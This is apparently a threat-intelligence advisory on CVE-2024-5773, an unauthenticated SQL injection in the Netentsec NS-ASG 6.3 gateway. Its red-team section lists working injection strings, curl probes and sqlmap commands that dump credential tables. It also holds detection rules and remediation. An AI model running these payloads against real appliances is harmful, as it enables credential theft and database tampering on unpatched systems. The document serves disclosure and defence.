CVE-2024-5773

Executive Summary

CVE-2024-5773 is a critical SQL injection vulnerability in the Netentsec NS-ASG Application Security Gateway version 6.3. The flaw resides in the /protocol/firewall/deletemacbind.php file, where the messagecontent parameter is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. This can lead to full database compromise, including extraction of sensitive data, modification of gateway configurations, and potential lateral movement within the network. The exploit has been publicly disclosed, and no patch or vendor response exists, making this a high-priority zero-day risk for all deployments.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Netentsec NS-ASG). Organizations using this device should treat it as a critical supply chain risk due to the lack of vendor support and the public availability of exploit details.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public proof-of-concept exists. Given the vendor’s unresponsiveness, all instances of NS-ASG 6.3 are considered compromised until mitigated.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the deletemacbind.php script. The messagecontent parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by crafting a malicious messagecontent value.

Root Cause: The application fails to use prepared statements or input validation. The $_GET['messagecontent'] (or similar) is passed directly to a SQL query like:

DELETE FROM mac_bind WHERE messagecontent = '$messagecontent'

By injecting a single quote ('), the attacker can break out of the string context and execute arbitrary SQL.

Attack Flow:

1. Attacker sends a GET request to /protocol/firewall/deletemacbind.php?messagecontent=1' OR '1'='1.
2. The SQL becomes: DELETE FROM mac_bind WHERE messagecontent = '1' OR '1'='1' — this deletes all rows.
3. For data extraction, use UNION-based injection: messagecontent=1' UNION SELECT username,password FROM users-- -.

Impact: Full read/write access to the underlying database (likely MySQL or MariaDB). This can lead to credential theft, configuration tampering, and potential command execution via SQL to OS shell (if database user has FILE privileges).

Vulnerable vs. Patched Code

Vulnerable Code (NS-ASG 6.3):

<?php
$messagecontent = $_GET['messagecontent'];
$sql = "DELETE FROM mac_bind WHERE messagecontent = '$messagecontent'";
mysqli_query($conn, $sql);
?>

Patched Code (Hypothetical):

<?php
$messagecontent = $_GET['messagecontent'];
$stmt = $conn->prepare("DELETE FROM mac_bind WHERE messagecontent = ?");
$stmt->bind_param("s", $messagecontent);
$stmt->execute();
?>

No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: Netentsec NS-ASG 6.3 with web interface exposed.
• Tooling: sqlmap, curl, Burp Suite.

Step-by-Step Exploitation:

1. Verify Vulnerability:

   curl -v "http://target/protocol/firewall/deletemacbind.php?messagecontent=1'"
   

   Look for SQL errors in response.

2. Extract Database Information:

   sqlmap -u "http://target/protocol/firewall/deletemacbind.php?messagecontent=1" --batch --dbs
   

3. Dump Credentials:

   sqlmap -u "http://target/protocol/firewall/deletemacbind.php?messagecontent=1" --batch -D nsasg_db -T users --dump
   

4. Manual Injection Example:

   http://target/protocol/firewall/deletemacbind.php?messagecontent=1' UNION SELECT 1,2,3,4,5,@@version-- -
   

Lab Setup:

• Use a virtualized NS-ASG 6.3 image (if available) or simulate with a vulnerable PHP/MySQL stack.
• Deploy a simple PHP script mimicking the vulnerable code for testing.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /protocol/firewall/deletemacbind.php for abnormal messagecontent parameters containing SQL keywords (UNION, SELECT, OR, ').
• Deploy WAF rules to block SQL injection patterns.

Hunting:

• Search logs for deletemacbind.php with messagecontent containing single quotes or SQL syntax.
• Check database logs for unexpected queries from the web application user.

Containment:

• Immediately isolate the NS-ASG appliance from the network.
• Block access to the vulnerable endpoint via firewall or reverse proxy.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /protocol/firewall/deletemacbind.php with messagecontent containing SQL metacharacters (', --, UNION, SELECT).
• Outbound database connections from the appliance to unknown IPs (data exfiltration).

File IOCs:

• Modified or new files in /var/www/html/ (if web root is writable).
• Suspicious entries in web server access logs (e.g., deletemacbind.php?messagecontent=1' OR '1'='1).

System IOCs:

• Unexpected database users or privileges.
• New cron jobs or processes spawned by the web server user.

Detection Engineering

YARA Rule

rule CVE_2024_5773_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-5773 in Netentsec NS-ASG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5773"
    strings:
        $sqli_pattern1 = /messagecontent=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|DELETE|UPDATE|DROP|--|#)/i
        $sqli_pattern2 = /deletemacbind\.php.*messagecontent=.*%27/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5773 SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against Netentsec NS-ASG deletemacbind.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/protocol/firewall/deletemacbind.php'
        cs-uri-query|re: '(messagecontent=.*%27)|(messagecontent=.*\b(OR|AND|UNION|SELECT)\b)'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in messagecontent (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5773 SQL Injection Attempt"; flow:to_server; content:"/protocol/firewall/deletemacbind.php"; http_uri; pcre:"/messagecontent=.*(%27|OR|AND|UNION|SELECT)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the appliance: Disconnect NS-ASG from untrusted networks (e.g., the internet).
2. Apply virtual patching: Use a WAF (e.g., ModSecurity) to block requests containing SQL injection patterns in the messagecontent parameter.
3. Restrict access: Limit access to the web management interface to trusted IPs only.

Long-Term Fix:

• Since the vendor is unresponsive, consider replacing the NS-ASG with a supported alternative.
• If replacement is not possible, reverse-engineer the firmware and apply a code fix (as shown in the patched code section) or deploy a reverse proxy that sanitizes input.

Compromise Assessment:

• Assume the appliance is compromised. Audit database contents for exfiltration.
• Rotate any credentials stored in the NS-ASG (e.g., LDAP, RADIUS secrets).
• Monitor for lateral movement from the appliance’s IP.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert